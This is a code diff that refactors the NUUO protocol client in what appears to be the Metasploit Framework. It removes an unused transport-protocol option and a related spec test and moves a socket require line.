a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb index 3a1317ed89fd..f66989134703 100644 --- a/lib/msf/core/exploit/nuuo.rb +++ b/lib/msf/core/exploit/nuuo.rb @@ -1,4 +1,3 @@ -require 'msf/core/exploit/tcp' require 'rex/proto/nuuo' ### diff --git a/lib/rex/proto/nuuo.rb b/lib/rex/proto/nuuo.rb index b1b6bd90f4e9..e1633b7f1198 100644 --- a/lib/rex/proto/nuuo.rb +++ b/lib/rex/proto/nuuo.rb @@ -1,8 +1,6 @@ # -*- coding: binary -*- # NUUO implementation - -#require 'rex/socket' require 'rex/proto/nuuo/client' require 'rex/proto/nuuo/client_request' require 'rex/proto/nuuo/constants' diff --git a/lib/rex/proto/nuuo/client.rb b/lib/rex/proto/nuuo/client.rb index 03ecbfbf5965..de5c94f4af4a 100644 --- a/lib/rex/proto/nuuo/client.rb +++ b/lib/rex/proto/nuuo/client.rb @@ -2,6 +2,7 @@ require 'rex/proto/nuuo/client_request' require 'rex/proto/nuuo/response' +require 'rex/socket' module Rex module Proto @@ -17,9 +18,6 @@ class Client # @!attribute timeout # @return [Integer] The connect/read timeout attr_accessor :timeout - # @!attribute protocol - # @return [String] The transport protocol used (tcp/udp) - attr_accessor :protocol # @!attribute connection # @return [IO] The connection established through Rex sockets attr_accessor :connection @@ -46,7 +44,6 @@ def initialize(opts = {}) self.host = opts[:host] self.port = opts[:port] || 5180 self.timeout = opts[:timeout] || 10 - self.protocol = opts[:protocol] || 'tcp' self.context = opts[:context] || {} self.username = opts[:username] self.password = opts[:password] @@ -58,11 +55,9 @@ def initialize(opts = {}) # Creates a connection through a Rex socket # # @return [Rex::Socket::Tcp] - # @raise [RuntimeError] if 'tcp' is not requested def connect(temp: false) return connection if connection && !temp - return create_tcp_connection(temp: temp) if protocol == 'tcp' - raise ::RuntimeError, 'Nuuo Client: Unknown transport protocol' + return create_tcp_connection(temp: temp) end # Closes the connection diff --git a/spec/lib/rex/proto/nuuo/client_spec.rb b/spec/lib/rex/proto/nuuo/client_spec.rb index 87329d9a64db..9f0e4005ca40 100644 --- a/spec/lib/rex/proto/nuuo/client_spec.rb +++ b/spec/lib/rex/proto/nuuo/client_spec.rb @@ -16,14 +16,6 @@ let(:client_password) {nil} describe '#connect' do - context 'given udp option when created' do - let(:protocol) {'udp'} - - it 'raises an error' do - expect{client.connect}.to raise_error(::RuntimeError) - end - end - context 'given temp is false' do context 'when there is no connection' do it 'returns a tcp connection' do